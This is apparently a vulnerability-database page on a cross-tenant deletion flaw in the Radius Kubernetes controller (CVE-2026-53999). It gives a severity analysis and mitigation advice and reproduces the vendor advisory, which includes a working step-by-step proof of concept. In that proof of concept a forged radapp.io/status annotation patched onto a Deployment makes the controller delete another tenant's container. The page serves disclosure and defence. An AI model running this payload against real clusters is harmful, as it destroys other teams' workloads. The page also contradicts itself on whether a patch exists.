Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain annotation-edit RBAC in any watched namespace
-
DeliveryEnumerate victim tenant's container resource ID
-
ExploitPatch attacker Deployment with forged radapp.io/status JSON
-
ExecutionController unmarshals annotation without scope validation
-
PersistController calls deleteContainer with privileged UCP credentials
-
ImpactVictim tenant's container and backing Deployment removed (availability loss)
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V2 - Validation and Business Logic Input validation, allowlisting
|
| Exploitation Conditions | Exploitation requires (1) a Radius installation at v0.57.1 or earlier deployed in a multi-tenant topology where a single controller reconciles Deployments across resource groups owned by different teams - a single-tenant install yields only self-DoS; (2) the attacker holds Kubernetes permissions to patch annotations on at least one Deployment in any namespace watched by the Radius controller (typical developer or CI-bot RBAC); and (3) knowledge of the victim's full Radius resource ID in the form /planes/radius/local/resourceGroups/<tenant>/providers/Applications.Core/containers/<name>, obtainable via enumeration of UCP or social/organisational knowledge. No user interaction or victim-side authentication is required, but strict-RBAC installs that forbid annotation edits on Radius-managed Deployments, or per-tenant controller deployments, eliminate the cross-tenant path. |
| Impact | Severity hinges almost entirely on install topology, not the raw 7.7 CVSS. The vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H correctly captures network reachability through the Kubernetes API, the low bar of Deployment-annotation edit rights, and the scope change crossing tenant boundaries; however the vendor itself notes the score collapses to Medium or lower on single-tenant or strict-RBAC installs where only self-DoS is possible. EPSS, KEV status, and a published NVD record are not present in the supplied data, and there is no public exploit identified at time of analysis beyond the GHSA write-up which includes a full step-by-step PoC against Kind. Net result: this is a real priority for organisations running one Radius controller across multiple team-owned resource groups, but a low operational priority for single-team or dev/test deployments, especially given deleted containers are recoverable from Bicep/IaC and there is no confidentiality or integrity impact. |
| Exploit ScenarioDerived | An internal developer with edit rights on Deployments in tenant-a's namespace patches their own legitimate-app Deployment with a radapp.io/status annotation whose container field references /planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/containers/victim-container. On the next reconcile the shared Radius controller unmarshals the annotation and invokes deleteContainer with its privileged UCP credentials, removing tenant-b's container and its backing Kubernetes resources within seconds. Publicly available exploit code in the GHSA advisory walks through this end-to-end against a Kind cluster, so weaponisation cost is minimal once an attacker has any namespace foothold. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 12, 2026
Cross-tenant container deletion in the Radius Kubernetes controller (versions <= v0.57.1) allows a tenant with Deployment annotation-edit rights to coerce the high-privilege controller into deleting another tenant's container resource by injecting a forged radapp.io/status JSON blob. The flaw is a classic Confused Deputy (CWE-441/CWE-20) that yields an availability-only impact, is most severe in multi-tenant installs, and currently has publicly available exploit code via the GHSA advisory but no public exploit identified at time of analysis in CISA KEV.
RemediationAI
Vendor-released patch: Radius v0.58.0 - upgrade the controller (and aligned CLI/UCP components) to v0.58.0 or later as tracked in https://github.com/radius-project/radius/releases/tag/v0.58.0 and detailed in advisory GHSA-fp5j-4fj2-4jvq. Until you can upgrade, tighten Kubernetes RBAC so that only trusted principals can patch annotations on Deployments in Radius-managed namespaces (this breaks legitimate self-service annotation workflows, so plan exceptions for CI service accounts), and add an admission policy (Kyverno/OPA Gatekeeper) that rejects any Deployment write that sets or mutates radapp.io/status - note this is a hard block and you must allow the Radius controller's own service account to bypass it. As a topology-level mitigation, run one Radius controller per tenant/resource group rather than a single shared controller, accepting the operational overhead of multiple control planes; also enable audit logging on cross-scope DELETE calls hitting UCP so anomalous deletions are detectable even if exploitation succeeds.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Radius is a CNCF-incubating, multi-cloud application platform whose Kubernetes controller reconciles standard Deployments and translates them into Radius (UCP) API resources such as Applications.Core/containers. In pkg/controller/reconciler/annotations.go the controller json.Unmarshals the user-controllable radapp.io/status annotation into a deploymentStatus struct and, at pkg/controller/reconciler/deployment_reconciler.go:491, passes the resulting Container resource ID straight to deleteContainer using its own privileged UCP credentials. Because UCP performs no source-tenant authorization on the DELETE, the controller acts as a confused deputy: an attacker in resource group A supplies a container ID scoped to resource group B and the controller obediently deletes it. The CPE pkg:go/github.com/radius-project/radius confirms the affected component is the Go module, not a downstream distribution.
Know when Kubernetes gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H
Reachable via the Kubernetes API (AV:N), only an annotation patch is required (AC:L), the attacker needs Deployment-edit RBAC (PR:L), no UI, scope crosses tenants (S:C), and impact is availability-only deletion (C:N/I:N/A:H).
Primary rating from Vendor (https://github.com/radius-project/radius).
CVSS VectorVendor: https://github.com/radius-project/radius
DescriptionCVE.org
Radius Controller May Delete a Container Resource via an Injected Deployment Annotation (Multi-Tenant Installs)
Summary
A configuration-validation issue in the Radius Kubernetes controller can cause it to issue a DELETE for the container resource referenced by a tampered radapp.io/status annotation on a Deployment. It follows the "Confused Deputy" pattern. Real-world impact is bounded and depends heavily on install topology: in a multi-tenant install (one controller reconciling Deployments across resource groups owned by different teams) it can affect another team's container, while in a single-tenant install it is only self-DoS. There is no data disclosure, no privilege escalation, and no persistence, and deleted resources are recoverable through standard Radius deployment workflows.
- Vulnerability Type: Configuration Injection / Cross-Tenant Resource Deletion
- CVSS 3.1 Score: 7.7 (High in worst-case multi-tenant installs; Medium or lower in single-tenant or strict-RBAC installs)
- CWE Classification: CWE-20 (Improper Input Validation), CWE-441 (Unintended Proxy or Intermediary)
- Affected Versions: Radius v0.57.1 and earlier versions
Vulnerability Details
Root Cause
The Radius controller deserializes user-controllable JSON data from the radapp.io/status annotation on Kubernetes Deployments without validating whether the resource IDs belong to the current tenant. When the controller performs delete operations, it uses its own high-privilege credentials to send requests to the Radius API, enabling deletion of resources belonging to any tenant.
Vulnerable Code Locations
Vulnerability Source - pkg/controller/reconciler/annotations.go:110-119:
s := deploymentStatus{}
status := deployment.Annotations[AnnotationRadiusStatus]
if status != "" {
err := json.Unmarshal([]byte(status), &s) // Deserializes user-controllable data without validation
if err != nil {
return result, fmt.Errorf("failed to unmarshal status annotation: %w", err)
}
result.Status = &s
}Vulnerability Sink - pkg/controller/reconciler/deployment_reconciler.go:491:
poller, err := deleteContainer(ctx, r.Radius, annotations.Status.Container) // Directly uses user-controllable data for deletionAttack Chain
┌─────────────────────────────────────────────────────────────────────────────┐
│ Confused Deputy Attack │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ Tenant-A (Attacker) Tenant-B (Victim) │
│ ┌──────────────────┐ ┌──────────────────┐ │
│ │ legitimate-app │ │ victim-container │ │
│ │ (Deployment) │ │ (Radius Resource)│ │
│ └────────┬─────────┘ └────────▲─────────┘ │
│ │ │ │
│ │ 1. Inject malicious │ 4. DELETE request │
│ │ radapp.io/status │ (no auth check!) │
│ │ annotation │ │
│ ▼ │ │
│ ┌──────────────────┐ ┌───────┴──────────┐ │
│ │ Radius Controller│ ─────────────────▶│ Radius API │ │
│ │ (High Privilege) │ 3. Uses injected │ (UCP) │ │
│ └──────────────────┘ container ID └──────────────────┘ │
│ ▲ │
│ │ 2. Reads annotation │
│ │ without validation │
│ │ │
└───────────┴─────────────────────────────────────────────────────────────────┘Proof of Concept (PoC)
Prerequisites
- Kubernetes cluster with Radius v0.54.0 installed
- Attacker has permission to modify Deployment annotations in a namespace
- Target tenant has Radius-managed container resources
Environment Setup
Step 1: Install Kind Cluster and Radius
# Create Kind cluster
kind create cluster --name radius-test --image kindest/node:v1.27.3
# Install Radius
rad install kubernetes --set global.zipkin.url=http://jaeger-collector.radius-system.svc.cluster.local:9411/api/v2/spans
# Verify installation
kubectl get pods -n radius-systemExpected output:
NAME READY STATUS RESTARTS AGE
applications-rp-xxx 1/1 Running 0 2m
bicep-de-xxx 1/1 Running 0 2m
controller-xxx 1/1 Running 0 2m
ucp-xxx 1/1 Running 0 2mStep 2: Create Attacker Tenant (tenant-a)
# Create resource group
rad group create tenant-a
# Create environment
rad env create tenant-a-env --group tenant-a
# Switch to tenant-a
rad group switch tenant-a
rad env switch tenant-a-envStep 3: Deploy Legitimate Application in tenant-a
Create legitimate-app.bicep:
extension radius
@description('The Radius application resource')
resource app 'Applications.Core/applications@2023-10-01-preview' = {
name: 'legitimate-app'
properties: {
environment: environment()
}
}
@description('The container resource')
resource container 'Applications.Core/containers@2023-10-01-preview' = {
name: 'legitimate-container'
properties: {
application: app.id
container: {
image: 'nginx:latest'
}
}
}Deploy the application:
rad deploy legitimate-app.bicepStep 4: Create Victim Tenant (tenant-b)
# Create resource group and environment
rad group create tenant-b
rad env create tenant-b-env --group tenant-b
# Create victim application and container via UCP API
kubectl port-forward svc/ucp -n radius-system 8443:443 &
PF_PID=$!
sleep 3
# Create application
curl -k -X PUT "https://localhost:8443/apis/api.ucp.dev/v1alpha3/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/applications/victim-app?api-version=2023-10-01-preview" \
-H "Content-Type: application/json" \
-d '{
"location": "global",
"properties": {
"environment": "/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/environments/tenant-b-env"
}
}'
# Create container
curl -k -X PUT "https://localhost:8443/apis/api.ucp.dev/v1alpha3/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/containers/victim-container?api-version=2023-10-01-preview" \
-H "Content-Type: application/json" \
-d '{
"location": "global",
"properties": {
"application": "/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/applications/victim-app",
"container": {
"image": "nginx:latest"
}
}
}'
kill $PF_PID 2>/dev/null || trueStep 5: Verify Victim Resource Exists
kubectl get deployment -n tenant-b-victim-app victim-containerExpected output:
NAME READY UP-TO-DATE AVAILABLE AGE
victim-container 1/1 1 1 50sExploitation
Step 6: Inject Malicious Annotation
Create attack-patch.yaml:
metadata:
annotations:
radapp.io/enabled: "false"
radapp.io/status: '{"container":"/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/containers/victim-container","scope":"/planes/radius/local/resourceGroups/tenant-b"}'Execute the attack:
kubectl patch deployment legitimate-app -n tenant-a --patch-file attack-patch.yamlExpected output:
deployment.apps/legitimate-app patchedStep 7: Verify Attack Success
Wait a few seconds and check the victim's resources:
kubectl get all -n tenant-b-victim-appExpected output:
No resources found in tenant-b-victim-app namespace.Log Evidence
The controller logs show the cross-tenant deletion operation:
Attack Triggered (15:29:41.351Z):
{
"timestamp": "2026-02-01T15:29:41.351Z",
"message": "Starting DELETE operation.",
"Deployment": {"name": "legitimate-app", "namespace": "tenant-a"}
}Cross-Tenant Delete Request (15:29:41.351Z):
{
"timestamp": "2026-02-01T15:29:41.351Z",
"message": "Deleting container.",
"scope": "/planes/radius/local/resourceGroups/tenant-b",
"resourceType": "Applications.Core/containers"
}Deletion Successful (15:29:41.367Z):
{
"timestamp": "2026-02-01T15:29:41.367Z",
"message": "Resource is deleted.",
"Deployment": {"name": "legitimate-app", "namespace": "tenant-a"}
}Impact
Security Impact
- Confidentiality: No direct impact (no data disclosure)
- Integrity: None - No victim data is modified; the issue deletes a Radius-managed container resource, which is recoverable from IaC
- Availability: High - Can cause service disruption for target tenants
Attack Prerequisites
- Attacker needs permission to modify Deployment annotations in a Kubernetes namespace
- Attacker needs to know the target resource's Radius resource ID (obtainable through enumeration or social engineering)
CVSS 3.1 Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H| Metric | Value | Description |
|---|---|---|
| Attack Vector | Network | Via Kubernetes API |
| Attack Complexity | Low | Only requires annotation modification |
| Privileges Required | Low | Requires Deployment edit permission |
| User Interaction | None | No user interaction required |
| Scope | Changed | Affects other tenants |
| Confidentiality | None | No data disclosure |
| Integrity | None | No victim data modified; deletes a recoverable management resource |
| Availability | High | Causes service disruption |
Workarounds
Until an official fix is released, consider the following mitigations:
- Restrict Annotation Modification Permissions: Use Kubernetes RBAC to limit who can modify Deployment annotations
- Monitor Anomalous Operations: Monitor modifications to
radapp.io/statusannotations, especially those containing other tenants' resource IDs - Network Isolation: Implement strict network policies in multi-tenant environments
Remediation Recommendations
Short-term Fix
Add validation logic in annotations.go to ensure the container ID in radapp.io/status belongs to the current namespace/tenant:
func validateContainerScope(deployment *appsv1.Deployment, containerID string) error {
expectedScope := extractScopeFromDeployment(deployment)
actualScope := extractScopeFromContainerID(containerID)
if expectedScope != actualScope {
return fmt.Errorf("container scope mismatch: expected %s, got %s", expectedScope, actualScope)
}
return nil
}Long-term Fix
- Implement Least Privilege Principle: The controller should use credentials associated with the Deployment's tenant
- Add Radius API Authorization Validation: UCP should validate the source tenant of delete requests
- Audit Logging: Log all cross-tenant operation attempts
References
Executive ViewAI
Radius Kubernetes controller versions 0.57.1 and earlier contain a cross-tenant container deletion vulnerability (CVE-2026-53999) that allows tenants with annotation-edit permissions to disrupt other tenants' workloads in multi-tenant deployments. Publicly available exploit code exists for this availability-impacting flaw, creating immediate risk to service continuity for organizations operating Radius in multi-tenant Kubernetes environments.
No vendor-released patch identified at time of analysis. Interim mitigations: Restrict Role-Based Access Control (RBAC) to limit Deployment annotation-edit permissions to minimal required principals; enable Kubernetes audit logging to detect suspicious annotation modifications; consider operating in single-tenant mode where feasible; implement network segmentation and namespace isolation between tenant workloads to contain blast radius.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.
More in Kubernetes
View allA critical vulnerability in Kubernetes ingress-nginx controller allows unauthenticated attackers with pod network access
Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio
Kubernetes ingress-nginx contains a configuration injection vulnerability via the mirror-target and mirror-host Ingress
A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-url` Ingres
A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-tls-match-c
Kubernetes API server in all versions allow an attacker who is able to create a ClusterIP service and set the spec.exter
A security issue was discovered in Kubernetes where a user that can create pods on Windows nodes may be able to escalate
Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Rated critical severity (CVSS 9.9), this vulne
Unauthenticated remote attackers can trigger complete database overwrites, server-side file reads, and SSRF attacks agai
The Kubernetes integration in GitLab Enterprise Edition 11.x before 11.2.8, 11.3.x before 11.3.9, and 11.4.x before 11.4
Fluentd configuration injection in the kube-logging Logging operator before 6.6.0 allows a namespace-scoped user who can
Authenticated Typebot users can abuse the webhook block (HTTP Request component) in versions prior to 3.13.1 to issue ar
Same weakness CWE-20 – Improper Input Validation
View allSame technique Privilege Escalation
View allVendor StatusVendor
SUSE
Severity: Important| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
EUVD-2026-101606
GHSA-fp5j-4fj2-4jvq
NVD
CVE.org
EPSS
Exploit-DB